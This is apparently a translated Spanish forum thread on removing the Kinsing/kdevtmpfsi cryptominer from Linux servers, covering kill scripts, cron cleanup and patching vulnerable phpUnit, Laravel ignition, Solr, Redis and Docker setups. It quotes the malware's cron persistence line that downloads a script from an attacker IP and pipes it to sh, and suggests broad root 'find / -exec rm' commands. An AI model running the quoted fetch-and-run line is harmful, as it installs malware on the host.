La solución mencionada aquí funcionó para nosotros. Básicamente, crea los archivos que usa el minero, sin ningún derecho, por lo que el minero no puede crearlos ni usarlos. https://github.com/docker-library/redis/issues/217

 touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing echo "everything is good here" > /tmp/kdevtmpfsi echo "everything is good here" > /var/tmp/kinsing touch /tmp/zzz echo "everything is good here" > /tmp/zzz chmod go-rwx /var/tmp chmod 1777 /tmp

La otra respuesta aquí es buena, y debe hacer todo lo mencionado allí. Pero, si el problema sigue apareciendo y/o en realidad no está usando Docker, probablemente tenga una vulnerabilidad RCE sin parchear en phpUnit. Los detalles están aquí:

https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487

Nuestra situación era:

• Docker no se está utilizando en absoluto.
• Habíamos eliminado todos los archivos relacionados con el minero.
• Habíamos bloqueado las cosas usando los comandos touch y chmod anteriores.
• La maldita cosa seguía tratando de funcionar en momentos aparentemente aleatorios.

Después de haber bloqueado las cosas con los cambios de toque/chmod, en realidad no puede HACER nada, pero sigue siendo molesto, y esa vulnerabilidad de phpUnit es un agujero ENORME que necesita taparse de todos modos.

Espero que esto ayude.

Encontré útiles todas las soluciones anteriores, pero todas parecen ser la solución temporal, ya que necesitamos monitorear la instancia y, si notamos alguna actividad maliciosa, volver a realizar el mismo proceso.

Me encontré con este virus hace aproximadamente 1 mes y apliqué todas las soluciones anteriores que funcionan bien durante el período limitado después de eso, volverá.

Incluso no instalé la ventana acoplable en el sistema, por lo que el puerto API abierto de la ventana acoplable no fue un problema.

Pero hay algunos programas de código abierto que son la puerta abierta para el parentesco.

PhpMailer y Solr tienen alguna vulnerabilidad de Remote Code Exec que causa todo el problema.

La solución fácil es actualizar su versión de Solr a 8.5.1 y hay una cosa más que puede configurar como seguridad que eliminará el virus al 100% y será permanente.

Aquí está la explicación completa: https://github.com/amulcse/solr-kinsing-malware

Lo enfrenté cara a cara después de instalar y ejecutar Flink Cluster. Parece que recibimos un ataque de un malware, que intenta usar la CPU de nuestro servidor para ejecutar el programa para extraer la moneda.

Mi solución es seguir los pasos:

1. Mata el programa que se está ejecutando primero:

   • Ejecute htop y luego presione F9 para finalizar el programa. Tenemos que matar a kdevtmpfsi y kinsing también.

2. Elimine el archivo de malware que se ejecutará y usará toda la CPU (con mi centos 7)

   find / -iname kdevtmpfsi -exec rm -fv {} \;

   find / -iname kinsing -exec rm -fv {} \;

El resultado debería ser:

 /tmp/kdevtmpfsi is removed /var/tmp/kinsing is removed

3. Crear un archivo con el mismo nombre:

• touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

• echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi

• echo "kinsing is fine now" > /var/tmp/kinsing

• Ahora haga que dos archivos sean de solo lectura con el siguiente comando:

  chattr +i /tmp/kdevtmpfsi chattr +i /var/tmp/kinsing

** Debe reiniciar su servidor. Si su problema está en un servidor remoto y se está conectando a él con un puerto específico, ¡puede cambiar al puerto ssh para aumentar la seguridad!

Tal vez esto sería útil para alguien. He encontrado algunas otras entradas de kinsing/kdevtmpfsi:

 /etc/kinsing /usr/lib/systemd/system/bot.service

En bot.servicio:

 ExecStart=/etc/kinsing

Acabo de seguir las instrucciones de este hilo, eliminé ambos archivos y reinicié el servidor.

Espero que ayude a alguien. He pasado todo el día tratando de resolverlo.

Encontré esta solución para detener temporalmente la ejecución del proceso (sin usar Docker/Redis, por lo que es probable que el agujero esté en phpunit):

 /bin/setfacl -mu:www-data:--- /tmp/kinsing /bin/setfacl -mu:www-data:--- /tmp/kdevtmpfsi

Evitará que el usuario www-data (que, en mi caso, estaba ejecutando el proceso) ejecute el script.

Además, lo más probable es que tenga un cronjob agregado en el usuario www-data . ¡Elimínelo y ejecute service cron restart !

Recuerde, eso es una corrección/truco temporal. ¡Debe actualizar el software vulnerable para eliminar permanentemente este hilo!

He tenido problemas con este minero durante algunos días y, en mi caso, estaba expuesto el puerto php-fpm:9000 .
Supongo que es posible inyectar algún código de forma remota de esta manera.

Entonces, si usa docker y php-fpm, NO ejecute su contenedor de esta manera:

docker run -v /www:/var/www -p 9000:9000 php:7.4

Eliminar la asignación de puertos: -p9000:9000

No olvide reconstruir y reiniciar sus contenedores.

Más detalles aquí: https://github.com/laradock/laradock/issues/2451#issuecomment-577722571

Enfrenté ese problema y lo resolví ejecutando los siguientes comandos:

primero inicie sesión como raíz y elimine el usuario que tiene el proceso, en su caso es www-data

 sudo deluser --remove-home www-data

segundo matar el proceso del usuario

 killall --user www-data

También me afectó este malware y no estaba usando Docker ni ejecutando la vulnerabilidad PHPUnit. Encontré esta publicación:

https://www.ambionics.io/blog/laravel-debug-rce

que describe que hubo una vulnerabilidad en facade/ignition < 2.5.2 al usar Laravel en modo de depuración.

Extracto del archivo Laravel .env :

 ... APP_DEBUG=true ...

Después de actualizar facade/ignition con Composer a una versión > 2.5.1 y detener el malware (pasos descritos en las otras respuestas), no volvió.

Extracto del archivo Laravel composer.json

 ... "facade/ignition": "^2.5.1", ...

...entonces ejecuta el comando

 composer update facade/ignition

Tal vez ayude a alguien más a ejecutar una aplicación Laravel y enfrentar este problema.

Tuve el mismo problema con Laravel en Centos 8. Estos son los pasos que seguí para eliminar el malware y parchear el sistema.

Eliminar el malware de los pasos del sistema: Paso 1:

Eliminar el software malicioso:
Elimine los dos procesos ( kdevtmpfsi y kinsing estar en el mismo nombre pero con caracteres aleatorios al final-) usando htop o cualquier otro administrador de procesos.

htop F3 para buscar servicios kdevtmpfsi y kinsing

Utilice lo siguiente para buscar y eliminar los archivos:

 # find / -iname kdevtmpfsi* -exec rm -fv {} \; # find / -iname kinsing* -exec rm -fv {} \;

La salida debería verse como:

 removed '/tmp/kdevtmpfsi962782589' removed '/tmp/kdevtmpfsi' removed '/tmp/kinsing' removed '/tmp/kinsing_oA1GECLm'

Paso 2:

Compruebe si hay un trabajo cron:
verifique si hay un trabajo cron que reinicializaría el malware.
Encontré el mío en: /var/spool/cron/apache >

UBUNTU /var/spool/cron/crontabs/www-datos

Incluía lo siguiente:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Paso 3:

Cree nuevos archivos y hágalos de solo lectura:

 # touch /tmp/kdevtmpfsi && touch /tmp/kinsing # echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi # echo "kinsing is fine now" > /tmp/kinsing # chmod 0444 /tmp/kdevtmpfsi # chmod 0444 /tmp/kinsing

Parcheando el proyecto Laravel: Paso 1:

Apague APP_DEBUG:
asegúrese de que el atributo APP_DEBUG sea false en .env porque así es como se accede a la vulnerabilidad.

Paso 2:

Actualizar encendido:
Actualice el encendido a una versión superior a la 2.5.1 para asegurarse de que la vulnerabilidad esté parcheada.
ejecute lo siguiente en la carpeta de su proyecto:

 $ composer update facade/ignition

También estoy enfrentando el mismo problema en Ubuntu 18.04.5 LTS después de eliminar los archivos de malware /tmp/kinsing y /tmp/kdevtmpfsi se generan automáticamente.

Al solucionar este problema, se creó el script bash y se configuraron los cronjobs para que se ejecutaran.

Mi solución es seguir los pasos:

1. Mata el programa que se está ejecutando primero:

Ejecute htop y luego presione F9 para finalizar el programa. Tenemos que matar a kdevtmpfsi y kinsing también.

2. Elimine el archivo de malware que se ejecutará y usará toda la CPU

 #!/bin/bash # kinsing deleteing here PID=$(pidof kinsing) echo "$PID" kill -9 $PID # /tmp/kinsing deleteing here (Some times it will run /tmp path) PID=$(pidof /tmp/kinsing) echo "$PID" kill -9 $PID # kdevtmpfsi deleteing here PID=$(pidof kdevtmpfsi) echo "$PID" kill -9 $PID # /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path) PID=$(pidof /tmp/kdevtmpfsi) echo "$PID" kill -9 $PID # Delete malware files find / -iname kdevtmpfsi -exec rm -fv {} \; find / -iname kinsing -exec rm -fv {} \;

Guarde este archivo (some-script.sh) configure los cronjobs para este

Paso 1: abre crontab (el editor de cron) con el siguiente comando.

$ crontab -e

Paso 2: si es la primera vez que accede a crontab, es probable que su sistema le pregunte qué editor prefiere usar. En este ejemplo, usaremos nano (escriba 1 y luego Enter) ya que es el más fácil de entender.

 $ crontab -e no crontab for linuxconfig - using an empty one Select an editor. To change later, run 'select-editor'. 1. /bin/nano <---- easiest 2. /usr/bin/vim.basic 3. /usr/bin/vim.tiny 4. /bin/ed Choose 1-4 [1]:

Paso 3: haga una nueva línea en la parte inferior de este archivo e inserte el siguiente código. Por supuesto, reemplace nuestro script de ejemplo con el comando o script que desea ejecutar, pero mantenga la parte */5 * * * * ya que eso es lo que le dice a cron que ejecute nuestro trabajo cada 5 minutos.

 */5 * * * * /path/to/some-script.sh

Paso 4: Salga de este archivo y guarde los cambios. Para hacer eso en nano, necesitaría presionar Ctrl + X, Y y luego Enter.

Eso es todo al respecto. La programación de trabajos en cron se ejecutará cada 5 minutos.

en mi caso, se ejecuta desde www-data user: ayuda a esto:

 sudo crontab -u www-data -e

elimine esta línea (trabajo cron):

 * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Ok, he estado enfrentando el mismo problema que muchos de ustedes. Pero mi proceso se estaba ejecutando como usuario de postgres. Sospecho que fue porque había abierto todas las conexiones entrantes.

Sí claro, mi mal.

Después de probar todas las soluciones anteriores, ninguna pareció solucionarlo de forma permanente. Simplemente siguió apareciendo de nuevo con un nombre ligeramente diferente. Realmente no tuve suerte.

Primero, protéjase de cualquier otra conexión.

Lo primero es lo primero, restrinja las conexiones en el archivo de configuración de postgres.

Normalmente se encuentra aquí. /etc/postgresql/12/main/postgresql.conf

Cree un script para matar y eliminar kdevtmpfsi

A continuación, cree un nuevo script de bash en la ubicación que elija.

nano kill.sh

Complete el archivo con lo siguiente.

 #!/bin/bash kill $(pgrep kdevtmp) kill $(pgrep kinsing) find / -iname kdevtmpfsi -exec rm -fv {} \; find / -iname kinsing -exec rm -fv {} \; rm /tmp/kdevtmp* rm /tmp/kinsing*

presione ctrl + c para salir

kill matará el proceso y los siguientes 4 comandos deberían eliminar los archivos.

Necesitamos hacer que el archivo sea ejecutable con

chmod +x kill.sh

Configúrelo para que se ejecute según lo programado

Muy bien, ahora si configuramos esto como un trabajo cron para que se ejecute cada minuto, debería ayudar a resolver el problema. (no es una solución elegante pero funciona)

sudo crontab -e

El comando anterior abre crontab, un lugar donde podemos definir tareas programadas para que se ejecuten a intervalos establecidos.

Agrega esto al final.

* * * * * sh {absolutepath}kill.sh > /tmp/kill.log

es decir

* * * * * sh /home/user/kill.sh > /tmp/kill.log

Qué hace la entrada crontab

* * * * * establece la hora - esto significa cada minuto

sh /home/user/kill.sh ejecuta el script de eliminación

&

> /tmp/kill.log escribe cualquier salida en el archivo.

Sé que esta no es una buena solución. Pero funciona.

En algunos casos, esto puede deberse a una brecha de seguridad encontrada en un Laravel <= v8.4.2 en la fachada/encendido del paquete. CVE-2021-3129

Aquí tenemos un artículo que explica cómo funciona el malware: Laravel <= v8.4.2 modo de depuración: ejecución remota de código (CVE-2021-3129)

Este problema se resolvió en la versión 2.4.2 de este paquete. (fachada/encendido)

Si yo estuviera en su lugar, consideraría su instancia comprometida y crearía una nueva. En las pruebas que hice, el malware cambia de lugar y se adapta a los cambios realizados en el sistema en un intento de detenerlo.

Parece que hay muchos vectores de ataque en los que este malware se puede cargar en el servidor. En mi caso, el malware llegó a la máquina a través de la ventana acoplable:

 # locate kdevtmpfsi /var/lib/docker/overlay2/17be841bd29c[..]/diff/tmp/kdevtmpfsi /var/lib/docker/overlay2/17be841bd29c[..]/merged/tmp/kdevtmpfsi

Docker por defecto expone los puertos de los contenedores públicamente, lo cual es bastante desafortunado. Para solucionarlo, deberá eliminar el malware y parchear la ventana acoplable:

 # First, stop all docker containers $ docker stop $(docker ps -aq) # Prune all images just for a good measure $ docker system prune # Kill current malware process $ ps aux | grep kdevtmpfsi 70 21686 393 29.3 2873416 2402832 ? Ssl 22:01 19:22 /tmp/kdevtmpfsi116044092 $ kill -9 21686 # Remove any files with the name kdevtmpfsi $ find / -iname kdevtmpfsi* -exec rm -fv {} \; # You might need to repeat the last two commands couple times just in case # Stop exposing docker ports with the use of IP tables $ iptables -I DOCKER-USER -i eth0 -j DROP $ iptables -I DOCKER-USER -m state --state RELATED,ESTABLISHED -j ACCEPT # If no new kdevtmpfsi processes appear you should be good.

El malware se está adaptando y muchas de las soluciones aquí ya no funcionan. Experimente con algunos enfoques hasta que descubra cuál fue el vector de ataque en su caso.

Entonces, en la plataforma en la que trabajé, tuvimos el mismo problema, sí, en una instancia de ECS2. Pero nuestro culpable fue Redis, alguien olvidó establecer una contraseña el día anterior y por la mañana nos despertamos con nuestro tablero notificándonos sobre picos extraños en el uso de la CPU.

Si desea verificar que el malware aún se está ejecutando, ejecute ps aux | grep -v grep | grep 'kinsing|kdevtmpfsi' Si genera algo, significa que se está ejecutando de alguna forma.

Nuestra solución fue: en nuestra base de datos de Redis, eliminamos un montón de claves llamadas "backup1", "backup2", "backup3", "backup4".

Luego hacemos ssh al servidor y usamos

 sudo su root ps aux | grep -v grep | grep 'kinsing\|kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 % rm -dr /tmp/kdevtmpfsi rm -dr /var/tmp/kdevtmpfsi

También logramos descargar el script que estaba programado para ejecutarse todo el tiempo a través de Redis y crontab, supongo que es lo que reinstaló el maldito malware una y otra vez mientras tratábamos de eliminarlo, está bastante bien hecho, también mata a otros mineros que detecta, además de intentar deshabilitar SELinux y apparmor y algunas otras cosas importantes. Cosas realmente asombrosas.

Lo he pegado aquí: https://pastebin.com/jiifURXy

Si probó todos los métodos anteriores pero aún aparece el virus, tal vez con un nuevo nombre, debe verificar los puertos abiertos del servidor y ahí es donde el malware ingresó a su servidor.

Por seguridad, usted debe:

1. iniciar el cortafuegos.
2. si necesita visitar algunos puertos del servidor remoto, utilice la técnica de Port Forwarding .

Esto hará que su servidor esté seguro y no más kdevtmpfsi.

Para usuarios de AWS, elimine permitir todos los puertos (0.0.0.0/0) como salientes en la seguridad de la instancia.

#!/bin/bash kill $(pgrep kdevtmp) kill $(pgrep kinsing) kill $(pgrep dbused) find / -iname kdevtmpfsi -exec rm -fv {} \; find / -iname kinsing -exec rm -fv {} \; find / -iname dbused -exec rm -fv {} \; rm /tmp/kdevtmp* rm /tmp/kinsing* rm /tmp/dbused* ps -ef | grep “givemexyz” | awk '{print $2}'| xargs pkill ps -ef | grep “dbuse” | awk '{print $2}'| xargs pkill rm -rf /bin/bprofr /bin/sysdr /bin/crondr /bin/initdr /usr/bin/bprofr /usr/bin/sysdr /usr/bin/crondr /usr/bin/initdr /tmp/dbused /tmp/dbusex /tmp/xms /tmp/x86_64 /tmp/i686 /tmp/go /tmp/x64b /tmp/x32b /tmp/2start.jpg

y

 crontab -u gitlab -e

eliminar * * * * * (curl -fsSL $url/xms||wget -q -O-